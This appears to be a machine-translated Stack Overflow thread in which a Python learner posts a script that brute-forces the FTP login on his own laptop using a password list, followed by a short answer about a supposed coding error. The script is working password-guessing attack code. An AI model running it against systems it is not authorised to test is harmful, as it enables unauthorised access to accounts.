当我试图自学python时,我使用vsftpd在我的笔记本电脑(ubuntu12.04)上打开了一个FTP服务器。配置完成后,我可以使用ftp localhost
登录笔记本电脑本身,我选择的用户名和密码是NINJA
123
(为了尝试)。在我的PC上(在局域网中),我打开一个浏览器,输入ftp://192.168.1.108/
。当我得到一个弹出的用户名和密码,我输入上面的细节-所以-一切工作FTP明智。
我写这封信是为了试图破门而入:
import socket
import ftplib
port=21
ip="192.168.1.108"
file1="passwords"
try:
s=socket.socket()
s.connect((ip,port))
print "port",port,"is open"
moshe=open(file1,'r')
for line in moshe.readlines():
password=line.strip("\n")
print password
try:
ftp = ftplib.FTP(ip)
ftp.login("NINJA",password)
print ("THE PASSWORD IS:",password)
break
except ftplib.error_perm:
print "Incorrect"
moshe.close()
except:
print "port",port,"is closed"
多亏了罗伯
发布于 2014-01-17 17:51:43
我只是自己学习python,但您不想在try块中错误地引用ftplib库吗?你在用ftp.ftplib.FTP(ip)
.是不是应该是ftplib.FTP(ip)
?ftp.login("NINJA", password)
也一样。
https://stackoverflow.com/questions/21192404
复制相似问题